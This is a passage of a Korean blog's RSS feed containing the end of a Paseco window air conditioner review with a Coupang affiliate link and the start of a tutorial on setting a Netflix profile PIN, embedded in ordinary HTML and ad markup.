&lt;p data-ke-size=&quot;size16&quot;&gt;점화 - 발진하는 기분이 들어요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 허접하지만 어플 연동!!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;초반이라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잔버그가 발생하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IoT가 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 설치: 파세코 스마트홈&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파세코 스마트홈을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운받아서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치하면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bynYNl/btrAPVjDSBL/cNhMKYrf4hOQ7OiHeBGBlK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bynYNl/btrAPVjDSBL/cNhMKYrf4hOQ7OiHeBGBlK/img.jpg&quot; data-alt=&quot;어플 설치&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bynYNl/btrAPVjDSBL/cNhMKYrf4hOQ7OiHeBGBlK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbynYNl%2FbtrAPVjDSBL%2FcNhMKYrf4hOQ7OiHeBGBlK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;733&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;어플 설치&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;- 기기 등록 및 연동&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기기 연동은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어플에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안내가 잘 되어있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시키는 데로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라가면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쉽게 연동할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcZgVx/btrAQfPeM11/j4EArhLhGp5w4HK2rhH2LK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcZgVx/btrAQfPeM11/j4EArhLhGp5w4HK2rhH2LK/img.jpg&quot; data-alt=&quot;기기 연동 설명&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcZgVx/btrAQfPeM11/j4EArhLhGp5w4HK2rhH2LK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcZgVx%2FbtrAQfPeM11%2Fj4EArhLhGp5w4HK2rhH2LK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;300&quot; height=&quot;733&quot; data-filename=&quot;1.jpg&quot; data-origin-width=&quot;589&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;기기 연동 설명&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;단, 아래 주의사항은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;참고해주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;주의사항:&lt;br /&gt;&lt;/b&gt;- WiFi는 2Ghz만 지원&lt;br /&gt;- 처음 연동 시 숨긴 WiFi는 연결이 되지 않는다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 IoT가 그렇 듯&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;2Ghz에서만 연결&lt;/b&gt;&lt;/u&gt;이 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 연결 시에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에어컨이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숨겨진 WiFi를 못 찾습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;때문에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;사용 중인 WiFi의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;숨긴 상태를 해제한 후&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;기기와 연결하고&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;다시 숨겨야 합니다.&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(추후 업데이트 되기를 바라며...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 내 점수는요...&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전 세대는 확실히&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시끄러웠을 거 같지만,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 제품은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제 기준으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 만족 중...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 일상 생활에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소음을 제거하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사시는 분들이 계시니..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필수 템이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;되어가지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백점은 못주겠다...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 현명한 구매&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 파세코에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다양한 판매처에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쇼핑 라이브 방송을 하며&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;할인 이벤트를 진행하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;방송 스케쥴은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파세코 인스타그램에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;방송 스케쥴:&lt;br /&gt;&lt;/b&gt;- https://www.instagram.com/korea_paseco/&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, 비싸긴 하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿠팡에서도 구매가 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #f7f7f7; color: #3c3d3f;&quot;&gt;&lt;a href=&quot;https://link.coupang.com/a/mA5od&quot;&gt;https://link.coupang.com/a/mA5od&lt;/a&gt;&lt;/span&gt;&lt;span style=&quot;background-color: #f7f7f7; color: #3c3d3f;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1651253854007&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;파세코 프리미엄 창문형 에어컨 패브릭실버 PWA-3400W 방문설치&quot; data-og-description=&quot;COUPANG&quot; data-og-host=&quot;www.coupang.com&quot; data-og-source-url=&quot;https://link.coupang.com/a/mA5od&quot; data-og-url=&quot;https://www.coupang.com/vp/products/6465207746&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cQck7D/hyOcDisjSr/2kNIfRp6p1IwFAeSGl1Xs1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/bzRHr4/hyOcu6OwuP/EkVEwpN9nnRwONnpggvDfk/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230&quot;&gt;&lt;a href=&quot;https://link.coupang.com/a/mA5od&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://link.coupang.com/a/mA5od&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cQck7D/hyOcDisjSr/2kNIfRp6p1IwFAeSGl1Xs1/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230,https://scrap.kakaocdn.net/dn/bzRHr4/hyOcu6OwuP/EkVEwpN9nnRwONnpggvDfk/img.jpg?width=230&amp;amp;height=230&amp;amp;face=0_0_230_230');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;파세코 프리미엄 창문형 에어컨 패브릭실버 PWA-3400W 방문설치&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;COUPANG&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.coupang.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size10&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #dddddd;&quot;&gt;이 포스팅은 쿠팡 파트너스 활동의 일환으로, 이에 따른 일정액의 수수료를 제공받습니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>리뷰</category>
      <category>PWA-3400W</category>
      <category>내돈내산</category>
      <category>에어컨</category>
      <category>오늘도착</category>
      <category>창문형 에어컨</category>
      <category>파세코</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/163</guid>
      <comments>https://chmodi.tistory.com/163#entry163comment</comments>
      <pubDate>Sat, 30 Apr 2022 02:07:05 +0900</pubDate>
    </item>
    <item>
      <title>[넷플릭스] Netflix 프로필 PIN 설정 방법</title>
      <link>https://chmodi.tistory.com/162</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가족 공유를 하든...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;친구 공유를 하든...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;누구랑 공유를 하든...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 프로필을 누가 쓰는 게 싫은 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로필에 전용 핀 번호를 설정해서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람의 접근을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;막을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 로그인한 후 계정 페이지로 접속&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;넷플릭스에 로그인한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인의 프로필에 접속합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단에 캐릭터를 클릭하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 계정을 클릭합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;615&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c9s7vV/btrroW53gDB/XmlSQQdqgjZHuZiBiJQgwK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c9s7vV/btrroW53gDB/XmlSQQdqgjZHuZiBiJQgwK/img.png&quot; data-alt=&quot;캐릭터 -&amp;amp;amp;gt; 계정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c9s7vV/btrroW53gDB/XmlSQQdqgjZHuZiBiJQgwK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc9s7vV%2FbtrroW53gDB%2FXmlSQQdqgjZHuZiBiJQgwK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;320&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;615&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;캐릭터 -&amp;amp;gt; 계정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 프로필 잠금 페이지 접속&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 페이지에 접속한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 아래에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프로필 &amp;amp; 자녀 보호 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;으로 내려가면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 프로필들이 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인의 프로필을 선택한 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로필 잠금 페이지에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속하세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;853&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pWQzk/btrrpUNmAx2/bgR2m3kSTtHJoAd0obpSU1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pWQzk/btrrpUNmAx2/bgR2m3kSTtHJoAd0obpSU1/img.png&quot; data-alt=&quot;프로필 &amp;amp;amp;amp; 자녀 보호 설정 -&amp;amp;amp;gt; 프로필 잠금&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pWQzk/btrrpUNmAx2/bgR2m3kSTtHJoAd0obpSU1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpWQzk%2FbtrrpUNmAx2%2FbgR2m3kSTtHJoAd0obpSU1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;444&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;853&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로필 &amp;amp;amp; 자녀 보호 설정 -&amp;amp;gt; 프로필 잠금&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 프로필 핀 설정&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로필 잠금 페이지에 접속한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정 비밀번호를 입력하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로필의 핀 번호를 설정합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ca6rmQ/btrruz2s3Va/r3UF9qZiGSM2Eng5osBPDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ca6rmQ/btrruz2s3Va/r3UF9qZiGSM2Eng5osBPDk/img.png&quot; data-alt=&quot;비밀번호 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ca6rmQ/btrruz2s3Va/r3UF9qZiGSM2Eng5osBPDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fca6rmQ%2Fbtrruz2s3Va%2Fr3UF9qZiGSM2Eng5osBPDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;263&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;504&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;비밀번호 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;960&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSCLGZ/btrrocuEMGi/WlMJLtYzzQWtZ8KDVzKl1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSCLGZ/btrrocuEMGi/WlMJLtYzzQWtZ8KDVzKl1K/img.png&quot; data-alt=&quot;핀 번호 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSCLGZ/btrrocuEMGi/WlMJLtYzzQWtZ8KDVzKl1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSCLGZ%2FbtrrocuEMGi%2FWlMJLtYzzQWtZ8KDVzKl1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; 